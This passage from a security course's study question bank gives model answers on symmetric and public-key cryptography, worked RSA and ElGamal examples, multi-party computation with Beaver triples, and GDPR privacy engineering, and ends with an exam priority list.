Model Answer:

Block cipher: Processes data in fixed-size blocks (e.g., AES processes 128-bit blocks). Must use a mode of operation for messages longer than one block. Examples: DES (64-bit blocks), AES (128-bit blocks).

Stream cipher: Encrypts data one bit or byte at a time, generating a keystream that is XOR-ed with plaintext. Can handle variable-length data naturally. Example: ChaCha20.

In practice, block ciphers in certain modes (like CTR mode) effectively operate as stream ciphers. The distinction matters because: block ciphers need padding for incomplete blocks, modes of operation determine security properties, and stream ciphers require strict nonce management to prevent keystream reuse.

Q240: Explain what a nonce is in cryptography. Why is nonce reuse catastrophic?

Model Answer:

A nonce (number used once) is a per-message value that must be unique for each encryption under the same key. It ensures that encrypting the same plaintext twice produces different ciphertexts.

Nonce reuse is catastrophic because: (1) In stream ciphers and CTR-mode block ciphers, reusing a nonce with the same key produces the same keystream. XOR-ing two ciphertexts cancels the keystream, revealing the XOR of the two plaintexts (similar to OTP reuse). (2) In authenticated encryption (e.g., GCM), nonce reuse can completely break the authentication, allowing forgery. (3) In ElGamal-style schemes, reusing randomness k can reveal the secret key.

This is why construction rules for nonces must be followed strictly. Some schemes use random nonces (requiring sufficient randomness), others use counters (requiring reliable state).

Q241: What is key derivation? Why is it important in real cryptographic protocols?

Model Answer:

Key derivation is the process of generating one or more cryptographic keys from a shared secret, password, or initial key material. It uses a key derivation function (KDF) to produce keys with the right length, randomness properties, and separation for different purposes.

Important because: (1) A single shared secret shouldn't be used directly -- different keys should be derived for encryption, authentication, and different directions of communication. (2) Passwords are not suitable as direct encryption keys -- they need stretching (deliberate slowness) to resist brute force, which KDFs like PBKDF2, scrypt, bcrypt, or Argon2 provide. (3) Session separation -- each session should use different keys so compromising one session doesn't affect others. (4) Forward secrecy -- using ephemeral keys (ECDHE) means past sessions remain protected even if long-term keys are later compromised.

Q242: Explain digital signatures. How do they differ from encryption? What properties do they provide?

Model Answer:

A digital signature uses a secret signing key to sign data; verifiers use the public verification key to check the signature. This is the OPPOSITE direction from encryption (where the public key encrypts and the secret key decrypts).

Properties: (1) **Integrity**: Any modification to the signed data invalidates the signature. (2) **Origin authentication**: Only the holder of the signing key could have produced the signature. (3) **Non-repudiation**: The signer cannot plausibly deny having signed (unlike MACs where any key-holder can produce a tag).

Key differences from encryption: Encryption protects confidentiality (hiding content). Signatures protect integrity and authenticity (proving origin and detecting changes). Encryption uses public key to encrypt, secret to decrypt. Signatures use secret key to sign, public key to verify. A digital signature is NOT the same thing as encryption.

Q243: Explain elliptic-curve cryptography (ECC) and post-quantum cryptography. Why do they matter?

Model Answer:

ECC: Uses mathematical groups based on elliptic curves. Can provide strong security with smaller key sizes than traditional RSA or finite-field systems. Example: a 256-bit ECC key provides comparable security to a 3072-bit RSA key. Used in ECDHE (key exchange), ECDSA (signatures). Standardized curves and implementations are important for security.

Post-quantum cryptography: Studies schemes intended to resist attacks from large quantum computers. Current public-key systems (RSA, ECC, ElGamal) would be threatened by sufficiently capable quantum computing (Shor's algorithm could factor large numbers and compute discrete logs efficiently). Migration planning matters NOW because: (1) encrypted data captured today could be decrypted later ('harvest now, decrypt later'). (2) Migration takes years. (3) NIST has been standardizing post-quantum algorithms (e.g., CRYSTALS-Kyber, CRYSTALS-Dilithium).

Q244: What is the symmetric-encryption checklist for secure deployment?

Model Answer:

(1) State the security goal: confidentiality alone, or confidentiality plus integrity and authenticity. (2) Name the COMPLETE construction, not only the primitive -- 'AES' alone is incomplete; specify the mode or AEAD scheme. (3) Explain key generation, storage, rotation, revocation, and access control. (4) Explain nonce/IV requirements and what happens if values repeat. (5) Use authentication tags and reject invalid ciphertext before processing unauthenticated data. (6) Consider metadata leakage, side channels, error handling, backup exposure, and endpoint compromise.

This checklist exists because a strong algorithm can be defeated by wrong key handling, reused nonces, unsafe padding, weak randomness, implementation bugs, or missing integrity protection.

Q245: What is the public-key checklist for secure deployment?

Model Answer:

(1) Verify the recipient public key through certificates, trusted directories, fingerprints, or authenticated mechanism. (2) Protect private keys against theft, misuse, and unauthorized export. (3) Use standardized constructions: RSA-OAEP for encryption, RSA-PSS for signatures. (4) Use secure randomness and approved parameters. Never reuse ElGamal-style ephemeral randomness. (5) Use hybrid encryption for bulk data: establish/encapsulate a session key, then use symmetric AEAD.

The final mental model: cryptography is a system discipline. Always analyze the entire construction and deployment context, not just the algorithm name.

Q246: From Lab 9, perform the RSA calculation with $p=5$, $q=11$, $e=13$. Find d , encrypt $m=9$, and decrypt.

Model Answer:

Given $p=5$, $q=11$, $e=13$. Compute: $n = 5 \cdot 11 = 55$. $\phi(n) = (5-1)(11-1) = 4 \cdot 10 = 40$. Find d where $13d \equiv 1 \pmod{40}$: $d = 37$ (since $13 \cdot 37 = 481 = 12 \cdot 40 + 1$).

Encrypt $m=9$: $c = 9^{13} \pmod{55} = 14$. Decrypt $c=14$: $m = 14^{37} \pmod{55} = 9$.

The ciphertext decrypts correctly back to the original plaintext. This confirms the mathematical relationship $e \cdot d \equiv 1 \pmod{\phi(n)}$ ensures encryption and decryption are inverse operations.

Q247: From Lab 9, perform the ElGamal calculation with $p=23$, $g=5$, $x=6$, $m=10$, $k=3$.

Model Answer:

Public key: $h = g^x \pmod{p} = 5^6 \pmod{23} = 8$. So public key = $(23, 5, 8)$, secret key $x = 6$.

Encrypt $m=10$ with $k=3$: $c_1 = 5^3 \pmod{23} = 10$. $h^k = 8^3 \pmod{23} = 512 \pmod{23} = 6$. $c_2 = 10 \cdot 6 \pmod{23} = 60 \pmod{23} = 14$. Ciphertext: $(10, 14)$.

Decrypt: $s = c_1^x \pmod{p} = 10^6 \pmod{23} = 6$. $s^{-1} = 4 \pmod{23}$ (since $6 \cdot 4 = 24 \equiv 1 \pmod{23}$). $m = c_2 \cdot s^{-1} \pmod{p} = 14 \cdot 4 \pmod{23} = 56 \pmod{23} = 10$.

Correctly recovers plaintext $m = 10$.

Q248: Why is the statement 'we use AES encryption so our data is secure' incomplete and potentially misleading?

Model Answer:

This statement is incomplete because AES is just the block cipher primitive. A complete secure design must also specify: (1) The mode of operation or AEAD scheme (e.g., AES-GCM, AES-CBC with HMAC). Wrong mode = vulnerable. (2) Nonce/IV handling -- how are they generated? What if repeated? (3) Key derivation -- how are keys generated, stored, rotated? (4) Integrity verification -- raw AES encryption does NOT detect tampering. Need authenticated encryption or separate MAC. (5) Key management -- who has access? How are keys protected? (6) Error handling -- do errors leak information? (7) What data states are covered (transit, rest, processing)?

Saying 'AES' is like saying 'we use locks.' Which locks? On which doors? Who has the keys? How are keys stored? The algorithm choice is necessary but not sufficient.

PART 10: LECTURE 10 (Lecture Only)

Chapter 10: Multi-Party Computation

MPC Fundamentals & Motivation

Q249: What is multi-party computation (MPC)? What problem does it solve? What is the essential trust assumption?

Model Answer:

MPC lets multiple parties evaluate a function over private inputs while revealing only the intended output and what that output inevitably reveals. Parties do not disclose raw inputs to each other or a central service.

Problem solved: Many useful computations require combining information from different parties. Ordinary computation sends all inputs to one central party -- creating a privacy/security problem. MPC changes this so parties learn the useful result without learning each other's inputs.

Essential trust assumption (two-server model): each server receives only a share. A single share hides the secret, but protection fails if servers collude and combine shares. Real deployments must state non-collusion and adversary assumptions explicitly.

Q250: Give four motivating examples for MPC: salary comparison, private matching, private set intersection, and voting.

Model Answer:

(1) **Salary comparison:** Two salaries x and y . Desired: whether $x > y$. Each person wants the comparison but not to disclose the exact salary.

(2) **Private matching:** Two preference bits a and b . Desired: $a \text{ AND } b$ (mutual interest). A one-sided preference is sensitive and should not be revealed.

(3) **Private set intersection:** Two lists X and Y (e.g., hospital and police records). Desired: $X \cap Y$. Each organization should avoid revealing its full database.

(4) **Voting:** Individual votes. Desired: the election result. The system should expose only the aggregate, not individual choices.

In principle, MPC can evaluate general functions -- complex computations are decomposed into Boolean gates or arithmetic operations.

Q251: What is the 'output is allowed leakage' principle? Why can't MPC prevent all information leakage?

Model Answer:

MPC cannot make the result disappear. If the output logically reveals something about an input, that leakage is unavoidable. Example: if Bob knows $b=1$ and learns $c = a \text{ AND } b = 0$, he can infer $a=0$. MPC cannot prevent this because Bob's own input plus the agreed output logically imply the fact.

The correct security statement is simulation-style: a party should learn nothing MORE than can already be derived from its permitted input, output, and explicitly allowed leakage. MPC protects against additional leakage beyond the function result.

Choosing a less revealing function (e.g., 'is salary above median?' instead of 'what is the exact salary?') can sometimes improve privacy more than changing the cryptographic implementation.

Secret Sharing & Boolean XOR Protocol

Q252: Explain Boolean secret sharing. How is a bit shared and reconstructed? Why does one share reveal nothing?

Model Answer:

To share a secret bit a : choose a uniformly random bit r . Give Server A: $a_A = a \text{ XOR } r$. Give Server B: $a_B = r$. Reconstruction: $a = a_A \text{ XOR } a_B = (a \text{ XOR } r) \text{ XOR } r = a$.

One share reveals nothing because r is uniformly random. Whether $a=0$ or $a=1$, each individual share looks uniformly random (equally likely to be 0 or 1). This is the one-time-pad principle applied to sharing.

Truth table: $a=0, r=0 \rightarrow$ shares (0,0). $a=0, r=1 \rightarrow$ shares (1,1). $a=1, r=0 \rightarrow$ shares (1,0). $a=1, r=1 \rightarrow$ shares (0,1). Each share column contains equal numbers of 0s and 1s regardless of a .

Security model: two shares combined = secret reconstructed exactly. Two servers colluding = security broken. Non-collusion is part of the security model.

Q253: Why is XOR easy on Boolean shares? Explain the local XOR protocol.

Model Answer:

If a and b are already shared ($a = a_A \text{ XOR } a_B, b = b_A \text{ XOR } b_B$), the servers compute shares of $c = a \text{ XOR } b$ locally WITHOUT any interaction:

Server A computes: $c_A = a_A \text{ XOR } b_A$. Server B computes: $c_B = a_B \text{ XOR } b_B$. Verify: $c_A \text{ XOR } c_B = (a_A \text{ XOR } b_A) \text{ XOR } (a_B \text{ XOR } b_B) = (a_A \text{ XOR } a_B) \text{ XOR } (b_A \text{ XOR } b_B) = a \text{ XOR } b$.

The reason is linearity: XOR distributes over XOR sharing. This makes XOR gates cheap in Boolean MPC protocols -- no communication, no extra randomness needed. This is a fundamental efficiency advantage.

Q254: Why can't AND be computed the same way as XOR? Why is AND harder?

Model Answer:

AND is a nonlinear operation. Simply applying AND to local shares does NOT reconstruct $a \text{ AND } b$. Example: if $a=1, b=1$ are shared as $a_A=0, a_B=1, b_A=1, b_B=0$, then $a_A \text{ AND } b_A = 0 \text{ AND } 1 = 0$ and $a_B \text{ AND } b_B = 1 \text{ AND } 0 = 0$, giving $0 \text{ XOR } 0 = 0$. But $a \text{ AND } b = 1 \text{ AND } 1 = 1$. The local computation gives the WRONG answer.

AND requires interaction between the servers and correlated randomness (Beaver triples). This is why the cost of MPC circuits depends heavily on the number of AND/multiplication gates -- XOR gates are essentially free, but each AND gate consumes a preprocessed triple.

Beaver Triples & Secure AND Gates

Q255: What is a Beaver triple? How is it used to evaluate AND gates securely?

Model Answer:

A Boolean Beaver triple contains random bits i and j and their product $k = i \text{ AND } j$. Each value is secret-shared between two servers. Generated during preprocessing before real inputs are known.

Online evaluation of $c = a \text{ AND } b$: (1) Compute $d = a \text{ XOR } i$ and $e = b \text{ XOR } j$ (masking with random values). (2) Open d and e (safe because i and j are uniform random masks -- same OTP principle). (3) Each server computes its output share using: $c_A = k_A \text{ XOR } (d \text{ AND } j_A) \text{ XOR } (e \text{ AND } i_A) \text{ XOR } (d \text{ AND } e)$. $c_B = k_B \text{ XOR } (d \text{ AND } j_B) \text{ XOR } (e \text{ AND } i_B)$. (4) Reconstruct: $c_A \text{ XOR } c_B = a \text{ AND } b$.

The triple supplies the nonlinear product of hidden random values that the online phase cannot derive locally.

Q256: Derive the Beaver triple formula algebraically. Why is opening d and e safe?

Model Answer:

$d = a \text{ XOR } i, e = b \text{ XOR } j$. So $a = d \text{ XOR } i, b = e \text{ XOR } j$. Expand using distributivity of AND over XOR:

$a \text{ AND } b = (d \text{ XOR } i) \text{ AND } (e \text{ XOR } j) = (d \text{ AND } e) \text{ XOR } (d \text{ AND } j) \text{ XOR } (i \text{ AND } e) \text{ XOR } (i \text{ AND } j) = (d \text{ AND } e) \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } k$

The last step substitutes $k = i \text{ AND } j$. The triple provides this product of hidden values.

Opening d and e is safe because: if i is uniformly random and unknown to the observer, then $d = a \text{ XOR } i$ is also uniformly random regardless of a (one-time-pad principle). Same for $e = b \text{ XOR } j$. The masks

must be fresh and generated securely. Reusing triples can create relationships between computations and compromise security.

Q257: What are the practical cautions when using Beaver triples and MPC?

Model Answer:

- (1) **Triple reuse:** Reusing correlated randomness creates relationships between computations -- consume triples once and track carefully.
 - (2) **Colluding servers:** Combining both shares reconstructs secrets. Distribute trust across independent administrative domains or use stronger adversary models.
 - (3) **Malicious deviation:** A server may send invalid shares or manipulate computations. Use consistency checks, authenticated shares, zero-knowledge techniques, MACs, or verifiable preprocessing.
 - (4) **Side channels and metadata:** Even correct arithmetic may leak timing, sizes, access patterns, or participation information. Analyze the complete service architecture.
- Mental model: XOR gates are cheap (linear on shares). AND gates need correlated randomness (Beaver triples). Triples move expensive work into preprocessing, making online computation efficient.

MPC Architecture, Applications & Security Models

Q258: Compare ordinary service architecture with MPC service architecture.

Model Answer:

Ordinary: Clients send plaintext inputs to a service provider. Provider stores/processes and returns results. Problem: provider sees all sensitive inputs and bears liability.

MPC: Inputs transformed into shares/encrypted representations before computation. Multiple computing servers jointly process protected representations. Output remains shared until authorized party reconstructs. No single server learns complete private input under the threat model.

Components: Client (creates shares, obtains output), Computing servers (evaluate function over shares -- rely on non-collusion), Service/model owner (provides the function logic), Shared result (only authorized recipient reconstructs).

Application areas: health-care analysis, fault detection, NLP, pattern matching, genome matching, decision trees, random forests, machine learning, voting, auctions.

Q259: Compare MPC, ordinary encryption, and fully homomorphic encryption (FHE).

Model Answer:

Ordinary encryption: Encrypt data at rest or in transit; decrypt before processing. The processing endpoint sees plaintext.

MPC: Distribute shares and jointly compute without reconstructing raw inputs at one server. Trust is distributed; communication and non-collusion assumptions matter.

FHE (Fully Homomorphic Encryption): Evaluate computations on ciphertexts without decrypting during processing. Can reduce reliance on multiple non-colluding servers but has different performance and key-management trade-offs.

Deployment principle: don't say only 'we use MPC.' Identify the protocol, party roles, adversary model, collusion threshold, preprocessing assumptions, output recipient, leakage profile, failure behavior, and operational controls.

Q260: Explain semi-honest vs malicious adversary models. What security goals does an MPC system need?

Model Answer:

Semi-honest (honest-but-curious): Party follows the protocol correctly but tries to learn more from the data it sees. Easier to protect against.

Malicious: Party may deviate from the protocol, provide malformed inputs, or sabotage correctness. Requires additional protections (consistency checks, MACs, zero-knowledge proofs).

Security goals: (1) **Input privacy:** No unauthorized party learns another's raw input beyond permitted leakage. (2) **Correctness:** Result equals the agreed function. (3) **Output privacy:** Only authorized recipients learn the result. (4) **Robustness/availability:** Protocol handles failures per design requirements. (5) **Auditability:** Participants can verify computation was correct. (6) **Data minimization:** System reveals only what's necessary.

Historical Context, Threshold Crypto & Comparisons

Q261: Describe the historical milestones of MPC: Shamir (1979), Yao (1982, 1986), GMW (1987).

Model Answer:

1979 -- Shamir secret sharing: A secret can be split into shares where authorized combinations reconstruct it while insufficient subsets reveal nothing. Foundation for MPC.

1982 -- Yao's millionaire's problem: Two people can compare wealth without revealing exact values. Canonical secure two-party computation problem.

1986 -- Yao's garbled circuits: An arbitrary function can be represented as a circuit and evaluated securely by two parties. Generalizes beyond comparison.

1987 -- Goldreich-Micali-Wigderson (GMW): General multi-party computation for multiple participants with richer adversary settings.

Denmark connection: Ivan Damgard (Aarhus) and Lars Knudsen (SDU Sonderborg) are IACR Fellows. MPC has a strong Danish research ecosystem.

Q262: What is threshold cryptography? How does it differ from general MPC?

Model Answer:

Threshold cryptography distributes a cryptographic capability across multiple parties so no single participant holds or uses the complete secret alone. Examples: threshold signatures, threshold decryption, distributed key generation.

Difference from general MPC: MPC is a general framework for computing ANY function on protected inputs. Threshold cryptography is narrower -- it specifically distributes KEY-based operations (signing, decryption) across parties.

MPC techniques are often used to implement threshold cryptography. NIST has a Multi-Party Threshold Cryptography standardization project. Real-world examples: Curv (MPC key management for crypto, acquired by PayPal), Unbound Security (MPC key protection, acquired by Coinbase).

Q263: Explain the key distinctions: MPC vs encryption at rest, secret sharing vs ciphertext, XOR vs AND gate cost, trusted third party vs two-server MPC, generic MPC vs threshold crypto.

Model Answer:

MPC vs encryption at rest: Encryption protects stored bytes. MPC computes while limiting who sees raw values.

Secret sharing vs ciphertext: A share is a distributed piece hiding the secret, reconstructed with other shares. Ciphertext is transformed data decrypted with a key.

XOR vs AND gate cost: XOR is local and cheap on XOR shares. AND is nonlinear and needs correlated randomness (Beaver triples).

Trusted third party vs two-server MPC: Trusted party learns ALL inputs. Two-server MPC distributes trust but requires non-collusion assumption.

Generic MPC vs threshold crypto: MPC evaluates arbitrary functions. Threshold crypto distributes key-based operations.

Theoretical possibility vs practical efficiency: Any function CAN be represented, but performance depends on circuit structure, nonlinear operations, communication, and adversary model.

Q264: Why does hashing not solve privacy when the input domain is tiny? Relate this to the private matching problem.

Model Answer:

If a bit can only be 0 or 1, an observer can hash BOTH possibilities and compare results. $H(0)$ and $H(1)$ are publicly computable. So sending $H(a)$ reveals a immediately. The same applies to small predictable values: short PINs, small categories, or common passwords.

In the private matching problem ($a \text{ AND } b$), this means simply exchanging hashes of preference bits does NOT protect privacy. An appropriate cryptographic protocol (like MPC with secret sharing) is needed.

This is why MPC uses secret sharing rather than hashing: shares are random and reveal nothing about the secret regardless of the input domain size, because the masking randomness is independent of the input.

PART 11: LECTURE 11 (Lecture Only)

Chapter 11: Privacy, Data Protection, and GDPR

Privacy, Confidentiality & Data Protection

Q265: Explain the six privacy dimensions. Why is privacy broader than confidentiality?

Model Answer:

Six dimensions: (1) **Right to be left alone:** Protection against unwanted intrusion. (2) **Shielding from unwanted access:** Prevent unauthorized observation. (3) **Concealment:** Keep selected facts undisclosed. (4) **Control over personal information:** Influence over collection, use, correction, sharing, deletion. (5) **Personality/dignity:** Protection against manipulative profiling or humiliating disclosure. (6) **Control over intimate aspects:** Protection of health, sexuality, genetics, relationships.

Privacy is broader than confidentiality because: confidentiality is one security property (can unauthorized parties read the data?). Privacy concerns people, rights, dignity, and control. A system can keep data perfectly secret yet still violate privacy by collecting too much, keeping it forever, using it unfairly, or making unexplainable decisions.

Q266: Distinguish privacy, confidentiality, and data protection with an example.

Model Answer:

Confidentiality: Can unauthorized parties read the information? A security property for personal or non-personal data.

Privacy: Are people treated respecting their rights, freedoms, expectations, dignity, and control? Broader than secrecy.

Data protection: Is personal-data processing lawful, fair, transparent, necessary, accurate, secure, accountable, and respectful of rights? Overlaps with but is not identical to privacy.

Example: A company encrypts a detailed behavioral profile (strong confidentiality). But if the profile was collected unnecessarily, kept forever, used for incompatible purposes, or applied in unfair automated decisions -- privacy is still poor despite strong encryption.

GDPR Purpose, Scope & Key Concepts

Q267: List seven recurring privacy failures in software systems and their engineering responses.

Model Answer:

(1) **Store data forever:** Increases breach risk. Response: retention schedules, deletion jobs. (2) **Reuse data indiscriminately:** Incompatible purposes. Response: purpose metadata, access policies. (3) **Walled gardens/black markets:** Lost control. Response: transparency, portability. (4) **Risk-agnostic processing:** No differentiation. Response: DPIAs, threat modeling. (5) **Hidden breaches:** No response possible. Response: detection, notification workflows. (6) **Unexplainable decisions:** No challenge possible. Response: explainability, human oversight. (7) **Security as secondary:** Avoidable exposure. Response: security-by-design, testing.

Q268: Define personal data, data subject, and processing under GDPR. What are special categories of personal data?

Model Answer:

Personal data: Any information relating to an identified or identifiable natural person (names, IPs, location, device data, combinations permitting identification).

Data subject: The natural person to whom personal data relates.

Processing: Any operation on personal data -- collection, recording, structuring, storage, consultation, use, disclosure, combination, restriction, erasure, destruction.

Special categories (Article 9): Receive heightened protection -- racial/ethnic origin, political opinions, religious/philosophical beliefs, trade-union membership, genetic data, biometric data for identification, health data, sex life/sexual orientation. Processing generally prohibited unless an Article 9 exception applies.

Q269: Explain controller, processor, joint controller, and sub-processor roles under GDPR.

Model Answer:

Controller: Determines purposes and essential means -- WHY and HOW personal data is processed. Example: university deciding why student records are collected.

Processor: Processes on behalf of controller under documented instructions. Example: cloud hosting provider.

Joint controllers: Two or more parties jointly determine purposes and means.

Sub-processor: A processor engaged by another processor under the contractual chain.

Outsourcing does NOT remove controller responsibilities. Engineering must map data flows across supply chains, define contracts, limit access, and verify safeguards.

Q270: Explain the six legal bases for processing under GDPR Article 6. Why is consent not always the right choice?

Model Answer:

(1) **Consent:** Freely given, specific, informed, unambiguous. Don't force when another basis works. (2) **Contract:** Necessary for performing a contract with the individual. (3) **Legal obligation:** Required by law (e.g., accounting retention). (4) **Vital interests:** Protect life (emergency situations). (5) **Public interest:** Tasks in public interest or official authority. (6) **Legitimate interests:** Requires documented balancing analysis, not a generic fallback.

Consent is not always right because: it must be freely given (not forced), specific (not bundled), and withdrawal must be as easy as giving it. If the service can rely on another basis (contract, legal obligation), forced consent is inappropriate. A complex system may use different bases for different purposes.

Q271: List and explain the seven GDPR Article 5 principles and their engineering implications.

Model Answer:

(1) **Lawfulness, fairness, transparency:** Processing understandable and justified; implement notices. (2) **Purpose limitation:** Collect for specified, explicit, legitimate purposes; control incompatible reuse. (3) **Data minimization:** Only adequate, relevant, necessary data. (4) **Accuracy:** Support correction, validation, updates. (5) **Storage limitation:** Keep identifiable data no longer than necessary. (6) **Integrity and confidentiality:** Appropriate security against unauthorized processing and accidental loss. (7) **Accountability:** Demonstrate compliance through decisions, records, controls, evidence.

These are not abstract ideals -- each maps to specific engineering requirements in data models, access controls, retention policies, logging, and documentation.

Privacy Engineering, LINDDUN & De-identification

Q272: What is privacy-by-design? List its seven principles.

Model Answer:

Privacy-by-design makes privacy an architectural requirement from the start: (1) **Proactive, not reactive:** Prevent problems before incidents. (2) **Privacy as default:** Don't require opt-out of unnecessary processing. (3) **Embedded into design:** Architectural requirement, not a late patch. (4)

Positive-sum: Functionality AND privacy together, not zero-sum. (5) **End-to-end lifecycle:** Protect from collection through deletion. (6) **Visibility and transparency:** Practices understandable and auditable. (7) **Respect for user privacy:** Systems user-centric with meaningful control.

Q273: Explain the LINDDUN privacy threat model. What does each letter stand for?

Model Answer:

LINDDUN is a privacy-specific threat-modeling approach applied to data flows, stores, actors, and trust boundaries:

L - Linking: Can two items, actions, sessions, or identities be connected? **I - Identifying:** Can a person be identified? **N - Non-repudiation:** Is there evidence preventing plausible denial when deniability is expected? **D - Detecting:** Can an observer determine that an item, event, or person exists? **D - Disclosure of information:** Can unauthorized parties learn protected information? **U - Unawareness:** Is the person unaware of processing, consequences, or choices? **N - Non-compliance:** Does processing fail to satisfy policy, legal, or lifecycle obligations?

STRIDE handles security threats; LINDDUN adds privacy-specific questions. Use both when processing personal data.

Q274: Distinguish pseudonymization and anonymization. What are the three re-identification tests?

Model Answer:

Pseudonymization: Data cannot be attributed to a specific person without additional information kept separately and protected. STILL personal data under GDPR. Reduces direct attribution but doesn't prevent all re-identification.

Anonymization: De-identification intended to be effectively irreversible. If re-identification remains reasonably possible, data may not be truly anonymous. Outside GDPR personal-data rules when truly anonymous.

Three re-identification tests: (1) **Singling out:** Can records relating to one person be isolated? (2) **Linkability:** Can records about the same person be linked within or across datasets? (3) **Inference:** Can a protected attribute be inferred with significant probability from other values or external knowledge?

Q275: List common pseudonymization techniques and their cautions: encryption, hashing, masking, tokenization.

Model Answer:

Encryption: Transforms data using a key. Caution: reversible with key; key management and access separation critical.

Hashing: Maps data to a digest. Caution: predictable inputs guessable; use keyed constructions or salts.

Masking: Redacts or partially obscures identifiers. Caution: residual values and quasi-identifiers may still reveal identity.

Tokenization: Replaces data with a token linked to a protected mapping. Caution: mapping service and token design become security-critical.

Direct identifiers: names, addresses, national IDs, IP addresses, device fingerprints. Quasi-identifiers: gender, date of birth, postal code, income, location. Combinations of quasi-identifiers can be identifying even when each field seems harmless alone.

Q276: Explain k-anonymity and l-diversity. What are their limitations?

Model Answer:

k-anonymity: Each person cannot be distinguished from at least k-1 other records using chosen quasi-identifiers. Maximum singling-out probability = $1/k$. Achieved through suppression and generalization. Limitation: mainly addresses singling out, NOT attribute disclosure, background-knowledge attacks, or inference.

l-diversity: Strengthens k-anonymity by requiring diversity of sensitive values within each equivalence class. Example: if all records in a 2-anonymous group have the same diagnosis, learning group membership reveals the diagnosis. A 2-diverse group requires at least two different sensitive values. Limitation: still doesn't fully address all inference attacks.

Why anonymization is hard: must survive realistic auxiliary information (public records, social media, repeated releases, location histories). Treat anonymization as risk analysis, not one-time name removal.

GDPR Rights, Architecture & Incident Response

Q277: List the main GDPR data-subject rights and their engineering implications.

Model Answer:

(1) **Be informed:** Clear notices about processing. (2) **Access:** Retrieve personal data with identity verification. (3) **Rectification:** Correct inaccurate data; propagate corrections. (4) **Erase:** Delete where conditions apply (not absolute). (5) **Withdraw consent:** Honor withdrawal; must be as easy as giving consent. (6) **Restriction:** Mark and enforce limits on use while retaining data. (7) **Object:** Route to object and evaluate consequences. (8) **Data portability:** Structured, machine-readable format (JSON, CSV). (9) **Automated decision safeguards:** Article 22 protections for qualifying solely automated decisions. (10) **Breach communication:** Communicate qualifying high-risk breaches to affected people.

These create practical requirements: secure identity verification, request intake, workflow tracking, retrieval, correction, deletion, restriction flags, portability exports, and communication channels.

Q278: Describe the GDPR personal-data breach notification process.

Model Answer:

- (1) **Detect and assess:** Determine if breach occurred -- accidental/unlawful destruction, loss, alteration, unauthorized disclosure/access.
- (2) **Document internally:** Record breaches, facts, effects, remedial actions. Maintain incident register.
- (3) **Notify supervisory authority:** Without undue delay, where feasible within 72 hours after awareness, unless breach unlikely to result in risk to individuals.
- (4) **Explain delay:** If later than 72 hours, provide reasons.
- (5) **Communicate to affected people:** When breach likely results in HIGH risk, communicate without undue delay (unless Article 34 exception applies).
- (6) **Improve controls:** Use incident to update detection, containment, risk analysis, architecture, training.

Distinction: DPA notification uses the Article 33 risk threshold; communication to people uses the Article 34 HIGH-risk threshold.

Q279: What is a DPIA? When is it required? What should it contain?

Model Answer:

A Data Protection Impact Assessment (DPIA) is required under Article 35 when processing is likely to result in HIGH risk to rights and freedoms of natural persons.

It should identify: processing activities, necessity and proportionality, risks to people, proposed controls, residual risk, owners, and review triggers.

DPIAs connect legal analysis with requirements engineering. They should influence architecture BEFORE deployment, not merely document decisions afterward. They are not one-time documents -- review when the system changes.

Key Distinctions & Comparisons

Q280: Explain the key distinctions: privacy vs confidentiality, privacy vs data protection, pseudonymized vs anonymous, controller vs processor, consent vs lawfulness, STRIDE vs LINDDUN.

Model Answer:

Privacy vs confidentiality: Confidentiality is one security property; privacy is broader (people, rights, dignity, control).

Privacy vs data protection: Data protection is necessary for privacy but doesn't cover every privacy dimension.

Pseudonymized vs anonymous: Pseudonymized = still personal data under GDPR. Anonymous = effectively irreversible de-identification, outside GDPR personal-data rules.

Controller vs processor: Controller determines purposes/means. Processor acts on controller's behalf under instructions.

Consent vs lawfulness: Consent is only ONE of six Article 6 bases. Select appropriate basis per purpose.

STRIDE vs LINDDUN: STRIDE for security threats (spoofing, tampering, etc.). LINDDUN adds privacy threats (linking, identifying, unawareness, non-compliance). Use both for personal data systems.

Q281: What is the Cambridge Analytica lesson for systems engineering?

Model Answer:

Cambridge Analytica showed that personal data collected through an application ecosystem was used and shared in ways raising major concerns about: transparency, purpose limitation, lawful basis, third-party governance, and effective control.

The lesson is NOT limited to one company. It highlights systemic risks in: API design (what data can apps access?), permission scope (are permissions proportionate?), onward sharing (can data flow to unknown third parties?), auditing (is data use monitored?), and revocation mechanisms (can access be meaningfully revoked?).

Engineering implications: design APIs with minimal data exposure, enforce purpose limitation technically, audit third-party access, implement meaningful consent and revocation, and govern the entire data-sharing ecosystem -- not just direct relationships.

Q282: Describe the NIST Privacy Framework's five functions and how they relate to GDPR principles.

Model Answer:

Five functions: (1) **Identify-P:** Understand data processing and privacy risks for individuals. (2) **Govern-P:** Establish governance, policies, legal awareness, risk priorities. (3) **Control-P:** Enable organizations and individuals to manage data with appropriate granularity. (4) **Communicate-P:** Enable reliable understanding and dialogue about processing risks. (5) **Protect-P:** Implement safeguards against cybersecurity-related privacy events.

Alignment with GDPR: Identify-P maps to data mapping and DPIA. Govern-P maps to accountability and records of processing. Control-P maps to data-subject rights and consent management. Communicate-P maps to transparency and privacy notices. Protect-P maps to Article 32 security measures. Both frameworks emphasize that privacy requires systematic, ongoing engineering effort, not just a policy document.

Q283: Why is GDPR security 'risk-based' (Article 32)? What measures does it point to?

Model Answer:

Article 32 requires 'appropriate technical and organizational measures' based on: state of the art, implementation cost, nature/context of processing, and risks to people's rights and freedoms.

Measures mentioned: pseudonymization, encryption, confidentiality, integrity, availability, resilience, timely restoration, and regular testing.

Risk-based means: no one-size-fits-all architecture. A low-risk newsletter requires different controls than a health-records system. Security must be proportionate to the risk.

Balance: monitoring/logging supports confidentiality, accountability, and incident response BUT excessive logs create new privacy risks. Design logs with clear purpose, minimize content, restrict access, define retention, protect integrity, and review necessity.

EXAM PRIORITY GUIDE

The exam has 15 short essay questions across 6 exercises. This bank contains 283 questions. Here are the most probable:

TIER 1 -- Almost certain (expect 5-6 of these on the exam):

- CIA triad with definitions, controls, violations
- Risk/vulnerability/threat/exploit/attack/patch/countermeasure chain
- Vulnerability assessment vs penetration testing vs threat modeling
- Bind shell vs reverse shell comparison
- Four firewall types comparison (packet filter/stateful/circuit/application proxy)
- Virus vs worm comparison
- SQL injection definition, root cause, and prepared statements defense
- DoS vs DDoS, botnet, C2 definitions
- Social engineering attack lifecycle (exploration to withdrawal)
- SPF vs DKIM vs DMARC -- what each does and its limitation
- STRIDE six categories with properties violated
- Four threat response strategies (mitigate, eliminate, transfer, accept)
- Four-step threat modeling framework
- Symmetric vs public-key encryption comparison
- DES vs AES comparison
- Textbook RSA key generation, encryption, decryption
- OTP conditions for perfect secrecy
- MPC definition and what it solves
